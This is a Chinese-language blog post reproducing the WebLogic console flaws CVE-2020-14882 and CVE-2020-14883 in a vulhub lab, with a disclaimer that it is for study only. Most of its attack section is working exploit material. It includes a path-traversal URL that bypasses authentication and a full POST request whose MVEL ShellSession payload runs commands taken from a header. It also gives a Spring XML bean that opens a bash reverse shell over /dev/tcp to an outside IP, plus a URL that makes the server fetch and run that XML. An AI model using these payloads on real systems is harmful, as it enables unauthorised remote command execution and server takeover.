当前位置: 首页 > news >正文

Weblogic管理控制台未授权远程命令执行漏洞复现(cve-2020-14882/cve-2020-14883)

目录

  • 漏洞描述
  • 影响版本
  • 漏洞复现
  • 权限绕过漏洞
  • 远程命令执行

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个安全漏洞,分别是CVE-2020-14882和CVE-2020-14883;CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

漏洞复现

漏洞环境搭建使用vulhub,不在赘述。环境起来后,访问http://192.168.10.171:7001/console,即可访问到后台登录页面
在这里插入图片描述

权限绕过漏洞

访问url: http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal,即可未授权访问到管理后台页面(有时第一次访问会出现404错误,在访问一下就可以了)
在这里插入图片描述
但当前用户为低权限用户,无法安装应用,也无法直接执行命令。此次引出第二个漏洞cve-2020-14883.

远程命令执行

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
首先利用第一种方式,即com.tangosol.coherence.mvel2.sh.ShellSession,利用的POC如下:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();res.getWriter().write("");
}executeThread.interrupt();
");

在这里插入图片描述
反弹shell

在这里插入图片描述
查看反弹shell成功

在这里插入图片描述
但这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先构造一个xml文件,并将其放到Weblogic可以访问到的服务器上(服务器上可以使用python起http服务)

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/192.168.8.14/3340 0>&1]]></value></list></constructor-arg></bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://192.168.8.14:8888/poc.xml”)

查看反弹shell成功

在这里插入图片描述

http://www.lryc.cn/news/38086.html

相关文章:

  • STM32F103CubeMX定时器
  • 多态且原理
  • 动态库(二) 创建动态库
  • opencv加水印
  • Flume基操
  • 图文详解红黑树,还有谁不会?
  • 多目标遗传算法NSGA-II原理详解及算法实现
  • Spark 键值对RDD的操作
  • 【SpringCloud】SpringCloud详解之Feign远程调用
  • 文档团队怎样使用GIT做版本管理
  • 【java】Java中-> 是什么意思?
  • 网络类型部分实验
  • java教程--函数式接口--lambda表达式--方法引用
  • java——代理
  • kubernetes中service探讨
  • Python3实现“美颜”功能
  • 【创建“待选项”按钮02计算坐标 Objective-C语言】
  • 自组织( Self-organization),自组织临界性(Self-organized criticality)
  • Elasticsearch:集群管理
  • 华为OD机试题 - 非严格递增连续数字序列(JavaScript)| 机考必刷
  • lc23. 合并K个升序链表
  • Java笔记029-泛型
  • 港科夜闻|香港科大与中国联通成立联合实验室,推动智慧社会研究发展
  • 制作一个简单的信用卡验证表
  • 牛客小白月赛68
  • 【id:21】【20分】A. DS单链表--类实现
  • 【实习_面试全程辅导分享】简历篇
  • 【学习笔记】CF1305 Kuroni and Antihype
  • json-server单独使用或者在react中进行使用
  • 【6G 新技术】6G数据面介绍